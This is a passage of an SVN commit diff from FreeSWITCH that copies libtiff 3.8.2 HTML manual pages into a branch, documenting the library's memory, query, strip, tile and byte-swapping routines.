+<td width="6%"></td>
+<td width="62%">
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="0%"></td>
+<td width="6%">
+
+<p>exit(0);</p>
+</td>
+<td width="6%"></td>
+<td width="62%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>}</p>
+<!-- INDENTATION -->
+<p>/* Now we can start to convert */<br>
+uint32 r, g, b;<br>
+uint32 L;<br>
+int32 a, b;<br>
+float X, Y, Z;</p>
+<!-- INDENTATION -->
+<p>for each pixel in image</p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>TIFFCIELabToXYZ(cielab, L, a, b, &amp;X, &amp;Y,
+&amp;Z);</p>
+</td>
+<tr valign="top" align="left">
+<td width="24%"></td>
+<td width="75%">
+
+<p>TIFFXYZToRGB(cielab, X, Y, Z, &amp;r, &amp;g,
+&amp;b);</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>/* Don&rsquo;t forget to free the state structure */<br>
+_TIFFfree(cielab);</p></td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFRGBAImage</b>(3TIFF) <b>libtiff</b>(3TIFF),</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFmemory.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFmemory.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFmemory.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFmemory.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFmemory.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,110 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>MEMORY</title>
+</head>
+<body>
+
+<h1 align=center>MEMORY</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>_TIFFmalloc, _TIFFrealloc, _TIFFfree, _TIFFmemset,
+_TIFFmemcpy, _TIFFmemcmp, &minus; memory management-related
+functions for use with <small>TIFF</small> files</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>tdata_t _TIFFmalloc(tsize_t</b> <i>size</i><b>);<br>
+tdata_t _TIFFrealloc(tdata_t</b> <i>buffer</i><b>,
+tsize_t</b> <i>size</i><b>);<br>
+void _TIFFfree(tdata_t</b> <i>buffer</i><b>);<br>
+void _TIFFmemset(tdata_t</b> <i>s</i><b>, int</b>
+<i>c</i><b>, tsize_t</b> <i>n</i><b>);<br>
+void _TIFFmemcpy(tdata_t</b> <i>dest</i><b>, const
+tdata_t</b> <i>src</i><b>, tsize_t</b> <i>n</i><b>);<br>
+int _TIFFmemcmp(const tdata_t</b> <i>s1</i><b>, const
+tdata_t</b> <i>s2</i><b>, tsize_t</b> <i>n</i><b>);</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>These routines are provided for writing portable software
+that uses <i>libtiff</i>; they hide any memory-management
+related issues, such as dealing with segmented architectures
+found on 16-bit machines.</p>
+<!-- INDENTATION -->
+<p><i>_TIFFmalloc</i> and <i>_TIFFrealloc</i> are used to
+dynamically allocate and reallocate memory used by
+<i>libtiff</i>; such as memory passed into the I/O routines.
+Memory allocated through these interfaces is released back
+to the system using the <i>_TIFFfree</i> routine.</p>
+<!-- INDENTATION -->
+<p>Memory allocated through one of the above interfaces can
+be set to a known value using <i>_TIFFmemset</i>, copied to
+another memory location using <i>_TIFFmemcpy</i>, or
+compared for equality using <i>_TIFFmemcmp</i>. These
+routines conform to the equivalent <small>ANSI</small> C
+routines: <i>memset</i>, <i>memcpy</i>, and <i>memcmp</i>,
+repsectively.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>malloc</b>(3), <b>memory</b>(3),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFquery.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFquery.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFquery.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFquery.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFquery.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,148 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:09 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>QUERY</title>
+</head>
+<body>
+
+<h1 align=center>QUERY</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFCurrentRow, TIFFCurrentStrip, TIFFCurrentTile,
+TIFFCurrentDirectory, TIFFLastDirectory, TIFFFileno,
+TIFFFileName, TIFFGetMode, TIFFIsTiled, TIFFIsByteSwapped,
+TIFFIsUpSampled, TIFFIsMSB2LSB, TIFFGetVersion &minus; query
+routines</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>uint32 TIFFCurrentRow(TIFF*</b> <i>tif</i><b>)<br>
+tstrip_t TIFFCurrentStrip(TIFF*</b> <i>tif</i><b>)<br>
+ttile_t TIFFCurrentTile(TIFF*</b> <i>tif</i><b>)<br>
+tdir_t TIFFCurrentDirectory(TIFF*</b> <i>tif</i><b>)<br>
+int TIFFLastDirectory(TIFF*</b> <i>tif</i><b>)<br>
+int TIFFFileno(TIFF*</b> <i>tif</i><b>)<br>
+char* TIFFFileName(TIFF*</b> <i>tif</i><b>)<br>
+int TIFFGetMode(TIFF*</b> <i>tif</i><b>)<br>
+int TIFFIsTiled(TIFF*</b> <i>tif</i><b>)<br>
+int TIFFIsByteSwapped(TIFF*</b> <i>tif</i><b>)<br>
+int TIFFIsUpSampled(TIFF*</b> <i>tif</i><b>)<br>
+int TIFFIsMSB2LSB(TIFF*</b> <i>tif</i><b>)<br>
+const char* TIFFGetVersion(void)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The following routines return status information about an
+open <small>TIFF</small> file.</p>
+<!-- INDENTATION -->
+<p><i>TIFFCurrentDirectory</i> returns the index of the
+current directory (directories are numbered starting at 0).
+This number is suitable for use with the
+<i>TIFFSetDirectory</i> routine.</p>
+<!-- INDENTATION -->
+<p><i>TIFFLastDirectory</i> returns a non-zero value if the
+current directory is the last directory in the file;
+otherwise zero is returned.</p>
+<!-- INDENTATION -->
+<p><i>TIFFCurrentRow</i>, <i>TIFFCurrentStrip</i>, and
+<i>TIFFCurrentTile</i>, return the current row, strip, and
+tile, respectively, that is being read or written. These
+values are updated each time a read or write is done.</p>
+<!-- INDENTATION -->
+<p><i>TIFFFileno</i> returns the underlying file descriptor
+used to access the <small>TIFF</small> image in the
+filesystem.</p>
+<!-- INDENTATION -->
+<p><i>TIFFFileName</i> returns the pathname argument passed
+to <i>TIFFOpen</i> or <i>TIFFFdOpen</i>.</p>
+<!-- INDENTATION -->
+<p><i>TIFFGetMode</i> returns the mode with which the
+underlying file was opened. On <small>UNIX</small> systems,
+this is the value passed to the <i>open</i>(2) system
+call.</p>
+<!-- INDENTATION -->
+<p><i>TIFFIsTiled</i> returns a non-zero value if the image
+data has a tiled organization. Zero is returned if the image
+data is organized in strips.</p>
+<!-- INDENTATION -->
+<p><i>TIFFIsByteSwapped</i> returns a non-zero value if the
+image data was in a different byte-order than the host
+machine. Zero is returned if the TIFF file and local host
+byte-orders are the same. Note that TIFFReadTile(),
+TIFFReadStrip() and TIFFReadScanline() functions already
+normally perform byte swapping to local host order if
+needed.</p>
+<!-- INDENTATION -->
+<p><i>TIFFIsUpSampled</i> returns a non-zero value if image
+data returned through the read interface routines is being
+up-sampled. This can be useful to applications that want to
+calculate I/O buffer sizes to reflect this usage (though the
+usual strip and tile size routines already do this).</p>
+<!-- INDENTATION -->
+<p><i>TIFFIsMSB2LSB</i> returns a non-zero value if the
+image data is being returned with bit 0 as the most
+significant bit.</p>
+<!-- INDENTATION -->
+<p><i>TIFFGetVersion</i> returns an <small>ASCII</small>
+string that has a version stamp for the <small>TIFF</small>
+library software.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>libtiff</i>(3TIFF), <i>TIFFOpen</i>(3TIFF),
+<i>TIFFFdOpen</i>(3TIFF)</p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFsize.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFsize.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFsize.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFsize.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFsize.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,95 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFSIZE</title>
+</head>
+<body>
+
+<h1 align=center>TIFFSIZE</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFScanlineSize, TIFFRasterScanlineSize, &minus; return
+the size of various items associated with an open
+<small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>tsize_t TIFFRasterScanlineSize(TIFF
+*</b><i>tif</i><b>)<br>
+tsize_t TIFFScanlineSize(TIFF *</b><i>tif</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFScanlineSize</i> returns the size in bytes of a
+row of data as it would be returned in a call to
+<i>TIFFReadScanline</i>, or as it would be expected in a
+call to <i>TIFFWriteScanline</i>.</p>
+<!-- INDENTATION -->
+<p><i>TIFFRasterScanlineSize</i> returns the size in bytes
+of a complete decoded and packed raster scanline. Note that
+this value may be different from the value returned by
+<i>TIFFScanlineSize</i> if data is stored as separate
+planes.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFReadScanline</b>(3TIFF),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFstrip.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFstrip.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFstrip.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFstrip.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFstrip.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,129 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFSTRIP</title>
+</head>
+<body>
+
+<h1 align=center>TIFFSTRIP</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFDefaultStripSize, TIFFStripSize, TIFFVStripSize,
+TIFFRawStripSize, TIFFComputeStrip, TIFFNumberOfStrips
+&minus; strip-related utility routines</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>uint32 TIFFDefaultStripSize(TIFF *</b><i>tif</i><b>,
+uint32</b> <i>estimate</i><b>)<br>
+tsize_t TIFFStripSize(TIFF *</b><i>tif</i><b>)<br>
+tsize_t TIFFVStripSize(TIFF *</b><i>tif</i><b>, uint32</b>
+<i>nrows</i><b>)<br>
+tsize_t TIFFRawStripSize(TIFF *</b><i>tif</i><b>,
+tstrip_t</b> <i>strip</i><b>)<br>
+tstrip_t TIFFComputeStrip(TIFF *</b><i>tif</i><b>,
+uint32</b> <i>row</i><b>, tsample_t</b>
+<i>sample</i><b>)<br>
+tstrip_t TIFFNumberOfStrips(TIFF *</b><i>tif</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFDefaultStripSize</i> returns the number of rows
+for a reasonable-sized strip according to the current
+settings of the <i>ImageWidth</i>, <i>BitsPerSample</i>,
+<i>SamplesPerPixel</i>, tags and any compression-specific
+requirements. If the <i>estimate</i> parameter, if non-zero,
+then it is taken as an estimate of the desired strip size
+and adjusted according to any compression-specific
+requirements. The value returned by this function is
+typically used to define the <i>RowsPerStrip</i> tag. In
+lieu of any unusual requirements <i>TIFFDefaultStripSize</i>
+tries to create strips that have approximately 8 kilobytes
+of uncompressed data.</p>
+<!-- INDENTATION -->
+<p><i>TIFFStripSize</i> returns the equivalent size for a
+strip of data as it would be returned in a call to
+<i>TIFFReadEncodedStrip</i> or as it would be expected in a
+call to <i>TIFFWriteEncodedStrip</i>.</p>
+<!-- INDENTATION -->
+<p><i>TIFFVStripSize</i> returns the number of bytes in a
+strip with <i>nrows</i> rows of data.</p>
+<!-- INDENTATION -->
+<p><i>TIFFRawStripSize</i> returns the number of bytes in a
+raw strip (i.e. not decoded).</p>
+<!-- INDENTATION -->
+<p><i>TIFFComputeStrip</i> returns the strip that contains
+the specified coordinates. A valid strip is always returned;
+out-of-range coordinate values are clamped to the bounds of
+the image. The <i>row</i> parameter is always used in
+calculating a strip. The <i>sample</i> parameter is used
+only if data are organized in separate planes
+(<i>PlanarConfiguration</i>=2).</p>
+<!-- INDENTATION -->
+<p><i>TIFFNumberOfStrips</i> returns the number of strips in
+the image.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFReadEncodedStrip</b>(3TIFF),
+<b>TIFFReadRawStrip</b>(3TIFF),
+<b>TIFFWriteEncodedStrip</b>(3TIFF),
+<b>TIFFWriteRawStrip</b>(3TIFF), <b>libtiff</b>(3TIFF),</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFswab.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFswab.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFswab.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFswab.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFswab.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,110 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>SWAB</title>
+</head>
+<body>
+
+<h1 align=center>SWAB</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFGetBitRevTable, TIFFReverseBits, TIFFSwabShort,
+TIFFSwabLong, TIFFSwabArrayOfShort, TIFFSwabArrayOfLong
+&minus; byte- and bit-swapping routines</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>const unsigned char* TIFFGetBitRevTable(int</b>
+<i>reversed</i><b>)<br>
+void TIFFReverseBits(u_char *</b><i>data</i><b>, unsigned
+long</b> <i>nbytes</i><b>)<br>
+void TIFFSwabShort(uint16 *</b><i>data</i><b>)<br>
+void TIFFSwabLong(uint32 *</b><i>data</i><b>)<br>
+void TIFFSwabArrayOfShort(uint16 *</b><i>data</i><b>,
+unsigned long</b> <i>nshorts</i><b>)<br>
+void TIFFSwabArrayOfLong(uint32 *</b><i>data</i><b>,
+unsigned long</b> <i>nlongs</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The following routines are used by the library to swap
+16- and 32-bit data and to reverse the order of bits in
+bytes.</p>
+<!-- INDENTATION -->
+<p><i>TIFFSwabShort</i> and <i>TIFFSwabLong</i> swap the
+bytes in a single 16-bit and 32-bit item, respectively.
+<i>TIFFSwabArrayOfShort</i> and <i>TIFFSwabArrayOfLong</i>
+swap the bytes in an array of 16-bit and 32-bit items,
+respectively.</p>
+<!-- INDENTATION -->
+<p><i>TIFFReverseBits</i> replaces each byte in <i>data</i>
+with the equivalent bit-reversed value. This operation is
+performed with a lookup table, which is returned using the
+<i>TIFFGetBitRevTable</i> function. <i>reversed</i>
+parameter specifies which table should be returned. Supply
+<i>1</i> if you want bit reversal table. Supply <i>0</i> to
+get the table that do not reverse bit values. It is a lookup
+table that can be used as an <i>identity function</i>; i.e.
+<i>TIFFNoBitRevTable[n] == n</i>.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFtile.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFtile.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFtile.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFtile.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFtile.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,141 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFTILE</title>
+</head>
+<body>
+
+<h1 align=center>TIFFTILE</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFTileSize, TIFFTileRowSize, TIFFVTileSize,
+TIFFDefaultTileSize, TIFFComputeTile, TIFFCheckTile,
+TIFFNumberOfTiles &minus; tile-related utility routines</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>void TIFFDefaultTileSize(TIFF *</b><i>tif</i><b>,
+uint32 *</b><i>tw</i><b>, uint32 *</b><i>th</i><b>)<br>
+tsize_t TIFFTileSize(TIFF *</b><i>tif</i><b>)<br>
+tsize_t TIFFTileRowSize(TIFF *</b><i>tif</i><b>)<br>
+tsize_t TIFFVTileSize(TIFF *</b><i>tif</i><b>, uint32</b>
+<i>nrows</i><b>)<br>
+ttile_t TIFFComputeTile(TIFF *</b><i>tif</i><b>, uint32</b>
+<i>x</i><b>, uint32</b> <i>y</i><b>, uint32</b> <i>z</i><b>,
+tsample_t</b> <i>sample</i><b>)<br>
+int TIFFCheckTile(TIFF *</b><i>tif</i><b>, uint32</b>
+<i>x</i><b>, uint32</b> <i>y</i><b>, uint32</b> <i>z</i><b>,
+tsample_t</b> <i>sample</i><b>)<br>
+ttile_t TIFFNumberOfTiles(TIFF *</b><i>tif</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFDefaultTileSize</i> returns the pixel width and
+height of a reasonable-sized tile; suitable for setting up
